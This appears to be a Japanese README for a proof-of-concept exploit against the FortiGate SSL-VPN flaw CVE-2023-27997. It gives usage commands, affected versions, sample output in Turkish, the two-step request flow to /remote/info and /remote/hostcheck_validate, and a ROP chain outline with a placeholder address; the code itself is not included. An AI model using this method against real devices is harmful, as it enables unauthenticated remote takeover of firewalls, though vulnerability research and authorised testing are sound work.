
FortiGate SSL-VPN CVE-2023-27997 エクスプロイト PoCスクリプト(ROPチェーン付き)
FortiGate SSL‑VPN CVE‑2023‑27997 ROP チェーンを使用したエクスプロイト PoC スクリプト
fgt-cve-2023-27997-exploit.py は、Fortinet FortiGate デバイスで発見された深刻な脆弱性 CVE‑2023‑27997 に対する Proof‑of‑Concept (PoC) エクスプロイトスクリプトです。
この脆弱性は、FortiOS SSL‑VPN インターフェースにおいて、認証なしでリモートコード実行 (RCE) を可能にするヒープベースのバッファオーバーフローの欠陥に起因します。
スクリプトの動作手順:
/remote/hostcheck_validate エンドポイントに改ざんした GET リクエストを送信してメモリオーバーフローを誘発します。注意: このスクリプトは_認可されたテストまたはラボ_環境でのみ使用してください。
| 製品 | バージョン |
|---|---|
| FortiOS | 7.2.0 – 7.2.5 7.0.0 – 7.0.11 6.4.0 – 6.4.12 6.2.0 – 6.2.14 6.0.0 – 6.0.16 |
| FortiProxy | 関連するバージョン |
pip3 install -r requirements.txt
requirements.txt の内容:
requests urllib3
python3 fgt-cve-2023-27997-exploit.py <TARGET_IP> <TARGET_PORT>
例:
python3 fgt-cve-2023-27997-exploit.py 192.168.1.200 10443
| 引数 | 説明 |
|---|---|
<TARGET_IP> | 対象 FortiGate の IP アドレス |
<TARGET_PORT> | SSL‑VPN ポート (デフォルト: 443 または 10443) |
[*] FortiOS 7.0.5 CVE-2023-27997 ROP Chain Ping Exploit Başlatılıyor...
[+] Salt alındı: 749a2b77
[+] Enc parametresi oluşturuldu (1024 karakter)
[!] 500 Internal Server Error - Bellek taşması veya crash olabilir!
/remote/info --> salt değeri alınır
/remote/hostcheck_validate?enc=<payload> --> buffer overflow tetiklenir
enc パラメータは、salt + seed の組み合わせから生成されるXOR キーストリームで暗号化されます。| 手順 | Gadget | 説明 |
|---|
| 1 | pop rdi ; ret | RDI にコマンドアドレスをロードします |
| 2 | system@plt | コマンドを実行します |
| – | 0xdeadbeefdeadbeef | プレースホルダー。実際のアドレスはラボ環境で決定する必要があります |
この PoC は、制御されたテスト環境でヒープグルーミングを必要とせずに動作するよう設計されています。